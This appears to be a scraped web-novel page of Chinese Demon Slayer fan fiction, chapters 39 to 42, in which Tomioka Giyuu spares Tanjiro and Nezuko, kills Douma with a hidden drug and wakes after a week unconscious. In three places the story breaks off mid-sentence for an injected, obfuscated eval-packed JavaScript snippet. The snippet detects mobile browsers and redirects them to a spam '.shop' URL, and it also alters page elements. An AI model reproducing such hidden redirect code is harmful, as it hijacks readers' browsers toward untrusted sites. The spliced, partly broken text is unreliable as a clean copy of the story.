风吹,雪扬,激起一阵白雾飘荡。 少年的身影被遮掩,只有一颗石子透过风雪袭来。 富冈义勇偏头躲过,看向少年奔来的方向。 少年挥舞着斧头,直直地朝他跑过来。 富冈义勇的眉头依旧皱着。听任感情的单纯攻击,真是愚蠢。 在少年靠近的那一刻,富冈义勇直接用刀柄将他打晕了过去。 被称作祢豆子的女孩看着昏迷过去的少年,眼睛瞬间睁大,动作也挣扎得更厉害了。 这时候,富冈义勇也注意到少年手里并没有握着斧头。他立马反应过来,看向空中,旋转的斧头朝他袭来。 他轻轻一个侧头,就躲过了斧头的攻击,任由它砍向身后的树干。 在躲进风雪之前朝这边扔来石头,同时将斧头扔向了上方。为了不让人发现自己是空手状态,用抡起斧头的姿势隐藏起手部。 是因为知道自己赢不过我,想在自己被砍到之后能打倒我吗? 富冈义勇握紧了手中的刀,这让他更加想起了多年前的雪天。 因为一时失神,富冈义勇捉着祢豆子的手失了力气,让她挣脱开了束缚。 祢豆子直接抬脚就揣向富冈义勇。 富冈义勇反应不及时,直接受了这一击。等他站定,就看到祢豆子扑向昏迷的少年。 糟了!要被吃了! 尖锐的指甲,没有刺入温热的肉.体,而是化作守护的武器。 祢豆子伸手将少年护在了身后,一脸警惕地看着富冈义勇。 富冈义勇睁大了眼睛。 他想到了抚子,那个变成鬼后仍留有理智,却仍在他的靠近后丧失理智,选择伤人。 陷入饥饿状态的鬼,就算是父母或兄弟也会杀死吃掉。因为对鬼来说,人的血肉营养价值很高,会让他们非常有食欲。 面前这个少女受了伤,也消耗了力量将伤治好。在变成鬼的时候也应当会消耗大量的体力,现在的她毫无疑问是重度饥饿的状态。 明明应该想要尽早吃到人的血肉,但这保护的动作,以及对他的威吓。 或许这个女孩真的有什么不同吧。 在富冈义勇思考的时候,祢豆子就朝他攻击了过来。她不会说话,只能从喉咙里发出嘶哑的吼声。 变成鬼后,人的行动能力会被强化。 但战斗经验丰富的富冈义勇十分灵巧地躲避着祢豆子的攻击,又慢慢将刀收了起来。 在祢豆子朝他扑来的那一刻,富冈义勇直接抬手打晕了她。 他蹲下身,半跪在地上,从怀里拿出手帕,将祢豆子脸上的血迹一一擦去。 他看了看昏迷的少年少女,抬头看向周围,轻轻道:“愈史郎,你能听到吗?帮我带个毯子和竹节好不好?” 出来执行任务,除了一些必要的物品,他身上没有额外的东西了。 周围一片寂静。 富冈义勇在心里叹息一声,觉得还是自己想多了。隔着这么远,愈史郎肯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宽三郎注意到不对劲,连忙飞下来:“义勇,怎么回事?” 富冈义勇闭着眼,摇摇头:“没事,可能是刚刚情绪激动导致的。” 因为少年的经历和他有些像,他不免想到了过去,而为了让少年行动起来,他的情绪也不免激动了起来。 富冈义勇抵挡着眩晕,脑海里却不受控地闪过多年前的场景。 雪地,洁白。 血迹,鲜红。 很久没有痛的心脏再次疼起来,富冈义勇的呼吸也变得急促。 怎么回事? 明明,已经很久没有犯过了…… 富冈义勇撑起身子,将自己离两个人远一些。他走到最近的一棵树旁,靠在上面,稳定着自己的呼吸。 躲在木柴堆里的无力呼吸声,姐姐的声音,鬼的声音。 漫天的雪地,漫天的血迹。 富冈义勇握紧胸口,在他眼前明明是昏迷的两个人,却变成了姐姐的尸体。 眼前血红一片。 富冈义勇用力地晃了晃脑袋,想要将那些画面挥走,但却没有半分作用。 “义勇……”宽三郎急得围着他飞,又半点忙帮不到。 有什么轻轻抚摸上他的头,然后有一双手捧起了他的脸颊。 “义勇,那件事从来不是你的错。” 轻柔的话语,温暖的声音,挥散了血色的画面。 脑海里的画面恢复正常,富冈义勇很快就缓了过来。他睁着眼睛,茫然地看着周围:“姐……姐……?” 没有回应,周围只有寂静一片的雪地。 他垂下眼眸,握着刀的手无力地松开。 锖兔,妈妈,还有姐姐…… 富冈义勇不让自己多想,晃了晃脑袋,专心稳定自己的呼吸。 等他恢复平静,躲在一边的茶茶丸也松了口气。 “珠世大人,这样是不是就没事了?”在远处的愈史郎问珠世。 珠世点点头:“撑过去这次,短期内应该不会发作了。” 愈史郎松了口气,这家伙真是让人担心。 之前听说富冈义勇新的任务会经过雪山,珠世大人就开始担心。因为相似的场景很有可能会引起侵入性记忆。 珠世大人不放心,给他送了新的药剂。而愈史郎则一直偷偷让茶茶丸跟着,观察着他的状况。 不然这冰天雪地的,愈史郎再有能耐,也不可能听见富冈义勇的声音。 富冈义勇很快就恢复了平静,靠在树上休息的同时,也在等待少年的苏醒。 战斗意识还不错,心志也可以。而且他的嗅觉和老师很像,就让他跟着老师学习吧。 想要保护好自己的妹妹,前提是要有足够的实力。 “宽三郎,帮我看一下他们,我休息一下。” “好。” 富冈义勇微微闭上眼,仰头靠在树干上。 他原来,还没有完全好啊。 没过多久,少年就有了动作,声响让富冈义勇睁开了眼。 “醒了吗?”富冈义勇的声音有些沙哑。 见到他站在附近,少年立马将祢豆子抱在怀里。 “去拜访住在狭雾山山麓,名为鳞泷左近次的老人吧。你跟他说是富冈义勇叫你来的。”富冈义勇放下手,站直身体。缓了一会,他恢复得差不多了。 “现在没有什么阳光,应该没问题。但是可别把你妹妹带到太阳底下。”说完,他便不再管这两个人,继续朝朝目标城镇赶去了。 耽误了这么一会,要尽快在天黑之前赶过去才行。 翻过雪山,就是任务说的城镇。 城镇很是热闹,人来人往的。 富冈义勇赶到的时候已经是下午,他舒了口气出来,好在是提前赶到了。 他找了一家店,买了信纸并借用了笔,给鳞泷老师写了一封信。 鳞泷左近次殿下: 前略。 我让一位想成为杀鬼剑士的少年前往了您那边。他有着赤手空拳挑战我的胆量。虽然家人被鬼杀死,存活下来的妹妹也变成了鬼,但我判断她并不会袭击人类。 我从这两人身上感到了与其他不一样的东西。少年似乎跟您一样,鼻子很灵。说不定他能够完成突破进行继承,还请将他培养起来。 我自知这是自私自利的请求,但请您原谅。 请您多加保重,继续精进。 草率书此。 富冈义勇 等写完信,富冈义勇就摸了摸宽三郎的背,想让他帮忙去送信。 宽三郎并不想现在去,执行任务的时候,鎹鸦几乎都要和队员在一起。一旦发生意外,也好进行救援。 富冈义勇轻声道:“放心,现在离天黑还有些时间,而且我还带着药剂,不用担心我。” 宽三郎还有些担心,但也不想继续浪费时间,等富冈义勇绑好信,就直接翅膀一振飞走了。 宽三郎越飞越远,天色也渐渐暗下来。 富冈义勇在城镇简单逛了一圈,没发觉什么异样,只是这个镇子上似乎存在一个叫万世极乐教的宗教。 镇上的很多人都在信奉,富冈义勇还听到了他们的教义。 抱有沉稳的态度去开心过生活,让人难受或是痛苦的事,没必要勉强自己去做。 听上去似乎并没有什么问题。 等太阳落下,黑夜降临,富冈义勇站在一处房子屋顶上,观察着周围。 在城镇的一个房子里,一把金色的扇子缓缓打开。 “好像有杀鬼人混进来了。” “可惜,是个男人啊。” 40.第 40 章 在入夜以后,富冈义勇便感受到城镇里散发着鬼的气息,只是这个气息很弱,不是普通鬼的羸弱,而是刻意的收敛。 像是诱饵一般,有鬼将自身的气息散布,想要将他引过去。 就算如此,他也只能甘愿入局。 富冈义勇在高处观察了很久,终于循着若有若无的气息锁定了鬼所在的方位。 他从屋顶一跃而下,而后轻点地面,卸去力道,没有发出多余的响动。 之后,他便追着鬼的气息,轻盈地在街道上奔跑。 富冈义勇不愿打扰居民的安眠,一举一动间都刻意放轻了力度。 但就在他追着鬼的气息走到一个死角时,这股气息却突然消失了。 富冈义勇皱眉,握紧腰间的刀,仔细地观察着周围。 宽三郎还没回来,缺少制高点,他找起鬼来确实要麻烦不少。 一阵清风吹过,有响动夹杂其中。 富冈义勇反应迅速,立马拔刀,将侧面飞来的东西打掉。 刀锋凌厉,将袭来的寒冰斩断。冰晶落在地上,发出清脆的声音。 “难得今天心情好,来和我玩个捉迷藏吧。” “捉到我的话,会有奖励哦。” 温和的笑意像是从四面八方传来,富冈义勇脚下轻点,就追着鬼的气息往前跑。 但这个鬼似乎真的在和他玩捉迷藏,富冈义勇没有看到他的身影,只能凭借鬼的气息一路追过去。 躲躲藏藏,追追赶赶。 躲藏起来的鬼就像是猫捉老鼠一般,在戏弄着富冈义勇。 走走停停,时快时慢。 黑夜就这样过去了大半。 在又一次的追赶失败后,富冈义勇便知道不能这样下去了。 他抬头看了眼天空,没有宽三郎的身影。 富冈义勇的心中不免有些忧心,这么长的时间,宽三郎早该回来了。 千万不要出什么事才好。 见富冈义勇不再行动,躲藏着的鬼再次出声:“怎么?累了吗?需要中场休息吗?” “不如和我说说你的烦恼吧。虽然我不喜欢男人,但我有很多男人的信徒。” 富冈义勇心头一紧。 信徒? 万世极乐教吗? 他握紧手中的刀,心中的担忧更深了一分。 在信奉鬼的城镇里,人类会成为鬼的帮凶。 宽三郎,千万别受伤啊。 “不说话吗?是个哑巴吗?”充满疑惑的声音再次响起。 富冈义勇立刻拔刀出鞘,砍向声音的来处。 “砰!”刀刃与金属相撞。 鬼显出了他的身影。 七彩的虹眸明亮,双眼里刻着上弦二的字样。 富冈义勇皱眉,心中更加警惕。 上弦之二,看来这只鬼会比上次遇到的上弦之三更难缠。 这只鬼名为童磨,对女人格外钟情,而对于男人,他的兴趣便少了很多。 见富冈义勇不再陪他玩游戏,他便不再躲藏,站在富冈义勇的不远处。 “啊呀啊呀,不听话的孩子都是会被我吃掉的。”童磨的声音带着天真和温柔,只是内容却残忍无比。 富冈义勇不想和鬼废话,握紧刀,右脚轻踏地面,像是湍急的水流一般飞快冲过去。 水之呼吸,一之型,水面斩。 童磨没有躲,脸上的笑意依旧。他拿起手中的扇子,挡住富冈义勇砍向他脖子的刀刃,另一只手拿的扇子也随即挥动。 刀刃与扇面相撞,铮铮作响。 冰莲同时出现,仿佛空气也被冻得凝固起来。 眼看冰雾就要冲他而来,富冈义勇立马屏住呼吸,上半身后仰。但就算如此,扇子还是划伤了他的胸口。 温热的血液涌出。 “咳!”富冈义勇站定,黏腻的腥甜不断上涌。 虽然他反应得很快,但还是吸入了部分冰莲的碎屑。碎屑尚未进入肺部,但却刺激到富冈义勇的喉咙,激起了以前的旧伤。 胸口的伤不深,用呼吸法已经止住血,但喉咙又疼又痒,只是单纯的呼吸就很不舒服。 “现在很不好受吧?不过你不会说话,倒是完全没有影响呢。”童磨将扇子合上,甩去上面的血迹。 童磨用扇子拍了拍自己的脸,看着富冈义勇。看上去实力是个柱,可惜这个柱居然是个哑巴,不过和他玩玩游戏倒是不错。 富冈义勇注意到这个鬼很轻视他,那就得想办法创造斩杀的机会。 又是一阵轻咳之后,富冈义勇抬手擦去嘴角的血液。 速战速决吧。 富冈义勇握紧刀,右脚轻踏地面,飞快地移动身体。 水之呼吸,三之型,流流舞。 童磨看到许多个富冈义勇的残影,但在他眼里,这个速度依旧很慢。 富冈义勇绕到童磨的背后,趁她看不见,将珠世的药剂藏在手腕,小心地倒了一点出来。 无论如何,他都不能暴露珠世小姐和药剂的存在。 药液顺着刀刃滑落,悄无声息地融入水流。 富冈义勇立马调整了姿势,用力地刺出去。 水之呼吸,七之型,雫波纹击刺。 童磨没有躲,直接受了这一击。而在刀刃刺中他胸口的那一刻,他的扇子也挥了出去,直接砍伤了富冈义勇的右肩。 受到冲力的影响,富冈义勇撞上了街道上的墙壁。他闷哼一声,撑着身体站起来。 他们是商量好的吗?上次伤得是他左肩,这次这个伤他右肩。 富冈义勇的右手轻颤着,因为肩伤而有些使不上力。他咬着牙,忍住疼痛,不顾肩膀的伤,继续用右手握紧刀。 “你刚刚的攻击看上去很特殊啊。”童磨看着胸.前尚未恢复的伤口,语气颇为新奇。 药剂是有效果的! 富冈义勇心里有了打算,右手将刀身抬起,左手食指和中指并拢,指尖划过刀刃,用自己的鲜血将刀身涂抹。 他曾听主公说过,在历代柱里,有人可以通过某种方式将刀刃变成红色。而被这样刀刃砍到的鬼,再生能力就会减弱。 正确方法暂且不论,能够迷惑眼前的鬼足以。 原本的水蓝色刀身布满鲜血,带着一丝妖异的美感。 寒光烁烁,蓝与红交织,却一点都掩盖不了那份纯粹。 “哦?是你的血导致的吗?”童磨饶有兴趣地看着他,舔了舔扇子上残留的血迹,“但你并不是稀血,只是一个普通人类而已。” 在童磨看来,这个玩伴似乎很有趣。 富冈义勇保持着沉默,双脚发力,直接从地面跃起,准备从空中砍向童磨。 水之呼吸,八之型,泷壶。 漫天的水从天而降,化作坚韧的柱朝童磨袭击而去。 不等富冈义勇近身,童磨就挥动扇子,将所有的水冻成了冰。 富冈义勇再次变招,在空中旋转身体。 水之呼吸,六之型,扭转漩涡。 新生的水击碎冰,重新向童磨攻过去。 “水对我可没有效果啊。”童磨的玩心少了很多,笑意也淡了几分,双手一起挥动,将水全部冻成了冰。 富冈义勇手腕翻转,将刀刃朝下,直接在空中就用出十一之型的凪。 海面被冻结,一面冰镜几乎要将童磨完全笼罩。 富冈义勇踩到冰镜之上,直接打碎冰镜,刀刃继续向前。 水流出现,化作龙的样子,带着决心与意志,砍向童磨的脖子。 童磨与富冈义勇对视,看到了他那双眼里毫无阴霾的眼神。 那是和水一样纯净的眼睛。 童磨任由他的刀砍向他的脖子,合住扇子,就想要刺中富冈义勇的眼睛。 这是很漂亮的一双眼睛,即使是在男人身上,他也想要留下收藏。 富冈义勇偏过头,用极好的柔韧性侧身躲开攻击,但与此同时,本该砍向童磨脖子的刀刃也随之偏转。 富冈义勇忍着肩膀的疼痛,再次向前突进,用出七之型,将刀刃穿透童磨的肩膀。 趁此机会,富冈义勇立马站稳,直接将他钉在墙壁上。 而童磨自然不会束手就擒,他的扇子再一次朝富冈义勇的眼睛刺去。 富冈义勇转动手中的刀,用凪化去童磨的攻击。 “你那平静的海面,可造不成攻击哦。”童磨真诚地回答。 富冈义勇神情未变,穿透童磨的肩膀的刀未动半分。 他硬受了童磨扇子的一击,胳膊被扇子划伤。 他没有松手,在看到凪的海面再次冻结时,立马将手腕藏着的药剂全部倒出。 与此同时,他深呼吸,用尽全身的力气,用出了最后一招。 无数的汹涌海水化作看不清的水刺,朝童磨袭来。 童磨依旧想要用冰冻住这些水刺,但在这些水刺攻击而来的方向上,却又一个看不见的海将他的攻击全部吸收。 水之呼吸,十二之型,暗涌! 在过去的三年里,富冈义勇结合十一之型又新创了一个招式。 海面会吸收所有攻击,保持风平浪静。而平稳的水面下,有着无数的暗流涌动。 这是攻守兼备的一招。 水刺从海面下不断袭来,童磨下意识挥动扇子,直接将水刺变成了冰刺,密密麻麻地扎进了他的身体里,限制住他的行动。 但就算是这样,童磨依旧显得游刃有余。 “只是这样的话,可杀不了我。”童磨挥出扇子,直接将富冈义勇打飞,他指了指自己的脖子,“要砍断我的脖子才行。” 童磨挣脱开冰刺,将扎进体内的冰直接吸收。他将扇子收起来,抵着自己的下巴,看着不远处的富冈义勇。 富冈义勇半跪在地方,一摊鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225876|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血从他的口中喷涌而出。 他没有给自己适应的时间,努力站起来,继续撑着身体行动。 童磨疑惑地看着他,语气满是不解:“明明右肩已经快碎了,肋骨也断了,身上还有被我扇子划开的伤口,这个失血量正常人已经昏迷了,你居然还能行动吗?” 而就在这时候,童磨突然捂住自己的胸口,无力地跪倒在地上。 诶?怎么回事? 伤口没办法愈合,还有什么东西从伤口蔓延开了。 是毒吗? 富冈义勇一直在留心看着童磨,看到童磨跪倒。他立马咬紧牙,握紧手中的刀。 必须把握好这个时机! 因为眼前阵阵发黑,视线也变得模糊,富冈义勇现下只能凭借听力分辨出童磨的方向,他忍着痛意,挥舞手中的刀,再次用出水之呼吸一之型的水面斩。 他的刀快而准,直接就把童磨的脖子砍了下来! 在童磨脑袋掉下来的那一刻,在一所房子的男人瞬间睁大了眼睛。 血红色的眼眸里充斥着震怒。 有人杀死了上弦鬼! 而另一边的富冈义勇甚至来不及将刀收起来,就直接跪倒在地上,右手完全握不住刀,只能任由刀从手掌滑落。 他用左手拿起刀,杵在地面,撑住自己的身体。 眼前一片模糊,他用握着刀的左手,从身上拿出一直备着的取血道具。 他看不清上弦二的身体在哪,只能凭感觉扔了过去。随着熟悉的声音响起,富冈义勇便知道血液样本采集成功了。 “咳!咳咳!”富冈义勇又咳出血来,用左手撑住地面。 “义勇!” 宽三郎从天空讯速飞来,看到了他浑身浴血的样子简直要急疯了。 他去给鳞泷左近次送信,到城镇附近的时候已经快天黑了,他急着去找富冈义勇,一时不察,就没有发现有人在对乌鸦狩猎。 他躲得很快,但左翅膀还是被打伤。他想要往高处飞,那群猎人却不想放过他。 宽三郎想到了之前被鬼控制的村子,在那里就有猎人会射击乌鸦。他察觉到不对,就立马飞走,去最近的紫藤花家族报信求援。 如果人类被鬼蛊惑,义勇现在的处境一定很危险! 就在宽三郎急匆匆地报完信,又绕开路赶到城镇,满心焦急找富冈义勇的时候,就看见他无力地倒在地上。 这时候,天边已经开始泛白,黑夜将要过去。 “义勇!” “千万别睡!” “我已经求援了,你千万不要睡啊!” 宽三郎心急如焚,只能用没受伤的翅膀拍着他的脸颊。 “好……”富冈义勇的声音沙哑得不行,仅仅是一个字,就让他咳嗽不止。 宽三郎见他还有意识,都快急哭了:“千万不能睡!” 富冈义勇闭着眼,不再说声,只是轻轻点了点头。 失血过多,用力过度,身上又新添了不少的伤痕,肋骨断裂,右肩碎裂,喉咙被血鬼术冻伤,一呼一吸间都带着痛意。 意识变得迷蒙,眩晕感不断涌来,没有哪里不在痛。 “义勇,不可以睡。” 富冈义勇微微睁开眼,他看到了自己的爸爸。 富冈义勇的父亲蹲下身,将他揽在自己的怀里:“我们的义勇最勇敢了,一定会坚持下去。” “我们一直看着义勇,你真的很棒。就连你的朋友锖兔也在夸你。” “所以千万不可以睡过去,知道吗?” 模糊的视野里,他看到了爸爸、妈妈还有姐姐,甚至锖兔也在。 他们好像在说什么,但他听不清。 我要来找你们了吗? “给我好好活着啊!”锖兔骂骂咧咧的声音清晰地传来。 锖兔,你以前明明很少凶我,为什么现在这么凶? 富冈义勇瞬间变得委屈。 所以果然是幻觉吧…… 富冈义勇眨了眨眼,让视线变得清晰。鲜血从身体各处涌出,嘴里的腥甜也在不断上涌。 他看见了宽三郎。 宽三郎不停地用翅膀拍打他的脸颊,他留意到宽三郎的翅膀,上面还带着伤口。 是受伤了吗? 他想要开口询问,但比话语先出来的是,是滚烫的血液。 见富冈义勇又呕出一摊血液,宽三郎的魂简直都要没了。 “撑住啊义勇!” 他用仅剩的力气撑着身体,微微抬头,那是昏暗的天色。 天还没亮吗? 上弦二死了吗? 珠世小姐的药剂我有隐瞒下来吗? “什么人?!”宽三郎将富冈义勇护在身后。 城镇里有人是鬼的帮凶,他就是死也不能让这些人伤害到义勇! 有一个身影缓缓靠近。 是敌,还是友? 41.第 41 章 昏暗的天色,模糊的视线。 富冈义勇看到有人在靠近,而宽三郎挡在他的身前。 “大哥哥!”像是小孩子的声音。 富冈义勇努力睁开眼睛,想要看清来人究竟是谁。他握着刀的左手几乎用不上力,却还是努力用手撑着刀,站了起来。 嗓子越来越痛,吸入的空气仿佛都被冻结,冰冷异常。不仅是嗓子,身体也越来越冷。 这让富冈义勇想起多年前在雪山奔跑的他。 冰冷刺骨。 那时的他,心中没有半分希望。 这时的他,还有很多未尽的事。 富冈义勇上前一步,将宽三郎护在身后:“是……谁……” 他的声音非常微弱,嗓子的伤让他几乎讲不出话,只是一个字就像用刀在磨自己的嗓子。 鬼死的时候会是这种感觉吗?干天的慈雨真是伟大的发明。 “大哥哥!你不认识我了吗?我是太郎!还有你不要乱动啊!你伤好重啊!” 太……郎?不是城镇的村民吗? 太郎。有些耳熟的名字。 富冈义勇的视线仍旧是模糊的,一切都带着重影,灰暗而无形。 “我不是坏人!你以前救过我们村子的!” 村子…… 太郎…… 啊,是那个包子店的小孩。 不是敌人。 富冈义勇强撑的力道骤然散去,整个人都向前瘫倒。 太郎不知道富冈义勇身上有多少伤,只能扶住他的胳膊,让他不至于摔倒。 当年,在告诉炼狱杏寿郎村长的家之后,太郎就想拿着他们家的包子过去答谢他们。 但村长家门口出现了骚动,他母亲害怕,就拦着他在拐角不让他过去。 后面富冈义勇他们又离开得很快,太郎一直很遗憾他没能把包子送出去。 几年时间过去,太郎打听到了鬼杀队的存在,他还想联合自己的小伙伴一起搞一个紫藤花徽章。 只可惜这个提议被自己父母否决了。 他能理解父母。 不惹事,安分守己,守着自家的包子店,能平平安安度过一生,就是他们所求。 但太郎不觉得人可以在任何事上都高高挂起。 如果没有鬼杀队这样的组织,他们村子,甚至他们家,都不会有安宁的日子。 他很感激他们,所以一直很想为他们做些什么。 只是,他什么也做不到,只会做包子。 如今多年过去,他长大了,也渐渐忘了那时的豪言壮志。 他听从了父母的安排,接手了家里的包子店。 这个城镇靠近雪山,有一种猪肉特别好吃,他这次过来,就是为了采购这种猪肉,作为包子店的食材。 和他同行的是村里的人,大家一起住在当地的一家旅店里。 昨晚他们晚上睡觉的时候,忽然听到外面有响动,全都醒了过来。 太郎朝外面看的时候,就注意到了富冈义勇。 他一直记着富冈义勇的样子。 在察觉到他在和鬼缠斗,太郎立马拦住身边想凑热闹的人。 和鬼的战斗时,普通人绝不可以入场! 这是保护自己,也是为了保护战斗的人! 太郎看着他们打了很久,他一直很紧张,尤其看到富冈义勇身上的伤越来越重时,他都要急疯了。 好在鬼的头被砍掉了,天也马上亮了。 他让同行的人去做担架,他先跑出去救人! 得尽快把大哥哥带离那里! 他听得很清楚,那个鬼说自己有信徒,而这个城镇有很多人都在信奉一个什么教。 太郎什么也不信,当年不信梦神,现在也不会信这个什么教。 但他很清楚疯狂的人会做出什么举动。 太郎扶着富冈义勇,让他靠在自己身后,想要背着他往前走。但富冈义勇动了动左手,指了一个方向:“针……” 太郎看过去,见那里掉着一枚针剂,里面还有红色的液体。 宽三郎也回过神,用爪子抓住血液样本。 这是富冈义勇用命拼回来的,绝对不能丢! “义勇,样本我拿好了!”宽三郎的话在富冈义勇耳里也是模模糊糊的,需要好一会才能将话语理解过来。 知道样本没丢,富冈义勇便松了口气,但仅仅刚刚说出去的一个字就让他难受得不行。 嗓子好痛,比身体都痛。 “太郎,我们来了!” 同伴抬来了担架,几个人合力小心地将富冈义勇抬上去。 富冈义勇已经开始烧起来,呼吸也越来越微弱。 宽三郎在知道这些小孩不是坏人后,也催着他们赶紧带富冈义勇离开。 他撑着受伤的翅膀,飞到半空,为他们引路。 要尽快到最近的紫藤花家族! 几个人都知道轻重缓急,抬着富冈义勇就跟着宽三郎走。 但一群少年少女,根本比不上经验丰富的隐,他们担架抬得摇摇晃晃,让富冈义勇本就晕的大脑更加晕了。 他一直记得不要睡,努力保持意识的清醒。 但他总觉得任由这些人抬着,他说不定什么时候就会晕过去。 就在富冈义勇担心的时候,隐的人终于赶了过来。 “他们在那!” 训练有素的队员立马赶了过来,接替了几个小孩。 为了太郎他们的安全着想,一名队员直接带着他们离开了,没让他们参与后续的事。 “大哥哥他会没事吗?” “……一定会的。” 治疗组的人也赶了过来,直接在原地进行急救处理。 富冈义勇看见到熟悉的人,终于放下了心。 他用最后的一丝力气,将最关键的信息给出去:“没……有……暴……露……” 药剂的瓶子在战斗的时候他用招式粉碎了,没有进入鬼身体的药液也随着他生成的水被稀释干净。 只要他能用血色的刀迷惑住鬼舞辻无惨,珠世小姐和研发的药剂就没有暴露。 说完这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230212|196476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句话,富冈义勇就直接昏迷了过去。 “义勇!” “水柱大人!” 着急的人和鸦各被蝴蝶忍锤了一下:“吵什么吵!富冈暂时没事!” “力竭!失血过多!身体多处骨折!再不晕过去那还是人吗?!” 蝴蝶忍这些年里一直在帮着姐姐管理蝶屋,救援的治疗组也在她的管辖范围。 她恰好出来找要用的药草,中间看到有隐的求援队伍出动,就跟着加了进来,结果没想到碰见了重伤的富冈义勇。 这些年里,蝴蝶忍一直在和珠世一起搞研究,对这人也算有几分熟悉。 但在听到富冈义勇昏迷前的话时,蝴蝶忍还是忍不住咬牙切齿,暴躁地打开自己的药箱。 什么叫没有暴露? 每次说话多说一点不行吗?! 我听不懂啊! 所以给我撑住啊! 她的行动很快,在检查完富冈义勇的伤势后,就让其他人开始清创消毒,再上药止血。 蝴蝶忍站起来,让其他人给富冈义勇包扎,对着宽三郎和愣住的人喊:“站着干什么呢!该处理伤的处理伤,处理后续的处理后续,赶紧动起来!” 在她的吼声里,部分队员总算是恢复了冷静,开始各司其职。宽三郎也被治疗组的人带走,去处理翅膀上的伤。 见各自都忙起来,蝴蝶忍重新蹲下身,轻轻碰触富冈义勇的喉咙。 但仅仅是指尖的轻轻一点,都让昏迷的富冈义勇发出压抑的吃痛声,本就皱着的眉头也越发紧了。 见状,蝴蝶忍直接捏开他的嘴巴看了看。 喉咙直接被冻伤了,必须赶紧处理,不然会失声的。 她快速地配置着药剂,配好以后就赶紧让人将富冈义勇扶起来,把药灌进了他嘴里。 见药被咽下去,她又快速地配置另一种药,让人捏住他的下巴,将药液滴进他的嘴里。 现在条件有限,只能先这样做应急处理了。 蝴蝶忍在配药的时候,其他队员包扎的手也是一点没停。 等富冈义勇差不多被包成粽子的时候,蝴蝶忍也将最后一种药灌进了富冈义勇嘴里。 药慢慢生效,富冈义勇皱着的眉头也松了几分。 “快!先赶去最近的紫藤花家族,他必须尽快接受治疗!”蝴蝶忍指挥着所有人。 “派人向蝶屋汇报,让那里提前做好准备。富冈的伤情复杂,普通的治疗根本不行!” 争分夺秒间,一行人飞快地行动着。 天光大亮,寂静的城镇开始苏醒。 有人发现信奉的教主消失而手足无措,有人起床洗漱,依旧如常。 知晓真相者保守秘密,只能担忧地往身后回望。 无知无觉者最是幸福,仅仅烦恼早上要吃什么。 在隐的妥善处理后,无人察觉昨夜惊心动魄的交锋,也无人知晓曾有过一场浴血的战斗。 但总有人能够记得: 曾有凡人一个,久被前尘关锁。而今尘尽光生,照亮黑夜万阔。 42.第 42 章 深远的海底,无光,周围尽是阴暗与冰冷。 而靠近海面的地方,时而明亮,时而昏暗。有太阳的照射时,还带了一丝的温热。 富冈义勇觉得自己就像悬浮在海面之下,仿佛伸出手,就能碰到那起伏的海面。 只是他的身体很重,也无半分力气,就连一根手指都动不了。 随着海浪的起伏,他也跟着摇摇晃晃。周围的环境也随着日夜变化,明暗闪烁。 说不上是难受,还是舒服。 疲惫久久未散,却又带着些许轻松。 让人想要再多睡一会。 但富冈义勇记得,他还有很多事没有交代,也有很多事想要去做。 他想要抬起手,触碰那变暗的海面。 只是身体很累,还有无边的痛苦。 他尝试了很久,却只能看着自己离海面越来越远。 富冈义勇没有放弃。 从手指微动,到手腕转动,最后是胳膊伸出。 此刻的海面是明亮的,水体是温热的。 他的手指,穿过了海面。 在一片明亮里,富冈义勇睁开了眼。 “醒了!醒了!” “砰!” “安静点!我去叫医生!” 富冈义勇眨眨眼,模糊的视线变得清晰。 是熟悉的天花板,他上次在这里住了好久。 富冈义勇的视线缓缓下移,看到了哭得不像样子的远山新名。 他是还活着吧? 身体很痛,嗓子也痛,动不了。 碰不到脉搏,但是呼吸还在。 在远山新名的哭声里,富冈义勇听到了仪器的声音,他往自己的身上看了看。 有好多线,脸上还带着氧气罩。 不舒服…… 但他确实还活着。 在确认了自己还活着,富冈义勇就认为远山可能是吃到太辣的东西才哭的。 房间里只有远山新名一个人,谁都不在。 富冈义勇有话要交代,但远山新名已经从哭变成了边哭边嚎。他自认现在的声音比不过他,只能抿抿唇,就这样看着。 好在远山新名没嚎好久,就被回来的村田又锤了一顿。 蝶屋的医生和蝴蝶香奈惠一起赶了过来,一个人检查仪器的各项数值,一个人替他检查身体。 蝴蝶香奈惠察觉富冈义勇想要说话,连忙摆手:“不可以说话!你的嗓子之前伤得太厉害,还不能出声。” 富冈义勇只得作罢,眉头却不禁皱起。 随着意识越发清晰,身体的疼痛也越发清楚。 好难受…… 好想晕过去…… 医生和蝴蝶香奈惠一起检查完后,脸上的表情依旧很凝重。 “富冈先生,你现在的各项身体数值仍旧很危险,我知道你现在有话要说,但先听我说,好不好?同意的话,就眨眨眼。”蝴蝶香奈惠微微附身,靠近富冈义勇,轻声细语地说着。 医生和村田知道他们有重要的事要说,带着情绪尚未平静的远山新名就出了病房,并小心地关上了房门。 而躺在床上的富冈义勇听话地眨眨眼。 蝴蝶香奈惠稍微松了口气,意识还清醒。她依旧放轻语气:“你昏迷了一周,现在正在蝶屋养伤。” 听到这里,富冈义勇的心不免沉了沉。已经一周了吗?那个女孩怎么样了? 